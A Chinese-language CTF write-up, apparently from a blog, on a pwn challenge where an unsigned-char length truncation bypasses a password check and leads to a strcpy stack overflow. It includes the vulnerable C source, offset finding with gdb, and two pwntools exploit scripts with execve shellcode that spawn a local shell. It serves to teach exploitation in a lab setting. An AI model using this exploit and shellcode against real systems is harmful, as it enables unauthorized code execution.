关于一道整数溢出pwn题分析

0x00 整数溢出基础

相关知识详见上篇博客

0x01 全球某工商的ctf网站上的ctf题

这是一道很简单的关于栈溢出与整数溢出漏洞利用,题目附有源码如下:

void flow(char* input)
{
    char passwd_buf[11];
    unsigned char passwd_len = strlen(input);
    if(passwd_len>=4&&passwd_len<=8)
    {
        printf("Valid Password\n");
        strcpy(passwd_buf,input);
    }
    else{
        printf("Invalid Password\n");
    }
}
int main()
{
    char input[1024];
    gets(input);
    flow(input);
    return 0;
}

从上面的代码里面可以看出的一个简单的整数溢出里面的截断问题,假如我们输入的input的长度是大于260小于264,就可以绕过if语句的长度检查,进而去利用栈溢出漏洞。

拿到出程序,利用gdb进行调试,使用pattern生成一串随机字符串进行验证

从上面我们可以找出内存出错的地址是0x44414128,然后再使用pattern计算出PC返回值的覆盖点为24个字节,也就是栈帧的大小是24个字节,结合上面需要绕过if验证,可以构建payload如下:

payload='a'*24+ret+shellcode 

生成一段shellcode,然后缺少的就还有shellcode的返回地址没有确定。

先不管shellcode的返回地址,写一个大概的exp如下:

from pwn import *
shellcode = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80";

p = process('./pwn0')
ret = 0xffffffff

payload = 'a'*24+p32(ret)+shellcode +'b'*(261-28-len(shellcode))

p.send(payload)

p.interactive()

开启核心转储(core dump),也就是在程序运行出现异常或者异常退出,有操作系统把程序当前的内存状况存储到一个core文件。然后运行脚本,在获取shell失败后在tmp目录下多出的core文件;

在使用gdb对其进行调试,找出shellcode的返回地址,修改形成最终的exp:

from pwn import *
shellcode = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80";

p = process('./pwn0')
ret = 0xffffcff0

payload = 'a'*24+p32(ret)+shellcode +'b'*(261-28-len(shellcode))

p.send(payload)

p.interactive()

运行成功获取shell。